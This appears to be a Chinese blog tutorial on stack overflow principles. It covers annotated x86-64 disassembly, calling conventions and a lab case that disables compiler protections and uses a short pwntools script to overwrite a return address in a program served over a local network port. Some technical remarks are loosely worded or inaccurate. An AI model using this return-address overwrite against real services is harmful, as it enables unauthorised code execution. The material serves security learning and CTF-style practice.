(1)栈溢出原理
基本原理:一是ebp指向栈底元素;esp 指向栈顶元素(存在数据的那个栈空间)。二是栈从高地址向低地址减少。三是小端是数值的高字节存高地址,数值的低字节存低地址。四是数组的地址依次增加则地址依次增加。
函数调用方式:三种_fastcall(ECX/EDX传递前两个参数 ,剩下的从右往左依次入栈,函数自己处理,linux默认方式) :_stdcall(WINAPI,函数自己处理释放)_cdecl(谁调用谁释放)
_fastcall栈操作的基本步骤:一是把当前系统的rbp压入栈,将main的rep和rsp指向同一个位置,然后rsp减去某数值,构建main的变量空间。二是main函数内有其他函数add()调用则需要先将add()函数下一条命令压入栈,然后将main函数的rbp压入栈,add()的rep和rsp指向同一个位置,然后rsp减去某数值,构建add函数的变量空间。
案例一栈工作原理:

.text:00005556CC538139 var_11= dword ptr -11h
.text:00005556CC538139 var_D= dword ptr -0Dh
.text:00005556CC538139 var_9= byte ptr -9
.text:00005556CC538139 var_8= dword ptr -8
.text:00005556CC538139 var_4= dword ptr -4
.text:00005556CC538139 push rbp
#将rbp的地址压入栈中,其中rbp是调用操作系统的基址,8个字节。(rbp=0001)
.text:00005556CC53813A mov rbp, rsp
#将rsp的地址赋值给rbp,此时rbp存的是main函数的基址(rbp=00007FFE89FB97E0)。
.text:00005556CC53813D sub rsp, 20h
#将main函数的栈空间扩充32个字符空间(rsp=0x00007FFE89FB97C0)
.text:00005556CC538141 mov [rbp+var_D], 64636261h
#为数组分配空间按a在最低字节,d在最高字节,其中最低空间是rbp-17个字节
#rbp+var_D=00007FFE89FB97D3开始依次放入
.text:00005556CC538148 mov [rbp+var_9], 65h ; 'e'
.text:00005556CC53814C mov [rbp+var_11], 34333231h
#C数值分配比a更小
.text:00005556CC538153 mov [rbp+var_4], 6
.text:00005556CC53815A mov [rbp+var_8], 7788h
.text:00005556CC538161 lea rax, [rbp+var_D]
.text:00005556CC538165 mov rsi, rax
.text:00005556CC538168 lea rax, format ; "%s"
.text:00005556CC53816F mov rdi, rax ; format
.text:00005556CC538172 mov eax, 0
.text:00005556CC538177 call _printf
案例二远程栈溢出基本利用。

#系统上将程序转发到10001端口
socat tcp-listen:10001,reuseaddr,fork EXEC:./yl10,pty,rawer
#检查程序防护情况
checksec --file=./yl10
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 36 Symbols No 0 2 ./yl10
#关闭防护
gcc -z execstack -fno-stack-protector -no-pie -o yl10 sfast.c
#python 链接端口发送数据
from pwn import *
p=remote('192.168.248.128',10001)
payload=b'A'*14+p64(0x401136+1)
#'A'*6+'A'*8+p64(0x401136+1) ===6个字符+main函数的rbp8个字节+函数地址,函数地址来源于IDA静态分析
p.sendline(payload)
print(p.recv())
案例三 IDA +远程linux程序调试:
WINDOWS上IDA通过linux_sever64程序对linux程序进行动态调试,详细过程看https://blog.youkuaiyun.com/chelp/article/details/24341425
案例四socat+pwntools+IDA+远程linux程序调试
一:IDA配置调试断点

二:设置端口转发,访问端口则执行程序

三、利用pwntools导入python库然后链接端口,启动程序

四、debuger调试将程序添加到IDA调试环境

五、pwntools交互调试即可

本文探讨了栈溢出及缓冲区溢出的基本原理,包括ebp与esp指针的作用,以及不同类型的溢出模式。文章还提供了多个参考资料,帮助读者深入理解并学习如何防范这些安全威胁。
1522

被折叠的 条评论
为什么被折叠?



